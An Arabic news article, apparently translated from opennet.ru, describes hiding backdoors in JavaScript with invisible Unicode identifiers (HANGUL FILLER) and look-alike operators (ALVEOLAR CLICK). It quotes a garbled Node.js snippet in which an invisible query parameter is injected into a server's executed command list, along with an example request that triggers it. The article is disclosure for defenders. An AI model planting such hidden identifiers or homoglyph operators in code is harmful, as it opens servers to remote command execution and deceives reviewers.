استخدام أحرف unicode غير مرئية لإخفاء الإجراءات في تعليمات JavaScript البرمجية

باتباع طريقة هجوم Trojan Source استنادًا إلى استخدام أحرف Unicode التي تغير ترتيب عرض النص ثنائي الاتجاه ، تم نشر تقنية أخرى لإدخال الإجراءات المخفية ، تنطبق على كود JavaScript. تعتمد الطريقة الجديدة على استخدام حرف Unicode "" (الرمز 0x3164 ، "HANGUL FILLER") ، وهو حرف ولكن لا يحتوي على محتوى مرئي. تم السماح بفئة Unicode التي ينتمي إليها هذا الحرف منذ مواصفات ECMAScript 2015 للاستخدام في أسماء متغيرات JavaScript ، مما يجعل من الممكن إنشاء متغيرات غير مرئية أو متغيرات جديدة لا يمكن تمييزها عن المتغيرات الأخرى في برامج تحرير التعليمات البرمجية الشائعة مثل Notepad ++ و VS Code.

على سبيل المثال ، تم تقديم رمز النظام الأساسي Node.js ، والذي باستخدام متغير يتكون من حرف واحد "" ، يتم إخفاء الباب الخلفي الذي يسمح لك بتنفيذ الكود الذي حدده المهاجم: app.get ( '/ network_health'، async (req، res) => {const {timeout، ㅤ} = req.query؛ // تقول في الواقع "const {timeout، ㅤ \ u3164}" const checkCommands = ['ping -c 1 google. com '،' curl -s http: // example.com/ '، ㅤ // فاصلة متبوعة بـ \ u3164] ؛

للوهلة الأولى ، يتم تمرير قيمة المهلة فقط من خلال المعلمة الخارجية ، وتحتوي المصفوفة التي تحتوي على الأوامر المراد تنفيذها على قائمة ثابتة غير ضارة. ولكن في الواقع ، بعد متغير المهلة ، يتم تعيين قيمة متغير آخر غير مرئي برمز الرمز \ u3164 ، والذي يتم استبداله أيضًا في مجموعة الأوامر القابلة للتنفيذ. وبالتالي ، في وجود مثل هذه البنية ، يمكن للمهاجم إرسال طلب مثل "https: // host: 8080 / network_health؟٪ E3٪ 85٪ A4 = command" لتنشيط الباب الخلفي وتنفيذ الكود الخاص به.

كمثال آخر ، تم إعطاء الحرف "" (ALVEOLAR CLICK) ، والذي يمكن استخدامه لإعطاء مظهر يشير إلى علامة تعجب. على سبيل المثال ، التعبير "if (environmentǃ = ENV_PROD) {" عند تنفيذه في Node.js 14 سيكون دائمًا صحيحًا ، لأنه لا يتحقق من الاختلافات ، ولكنه يضبط المتغير "environmentǃ" على ENV_PROD. تتضمن أحرف Unicode المضللة "/" و "-" و "+" و "⩵" و "❨" و "⫽" و "꓿" و "".

المصدر: opennet.ru

إضافة تعليق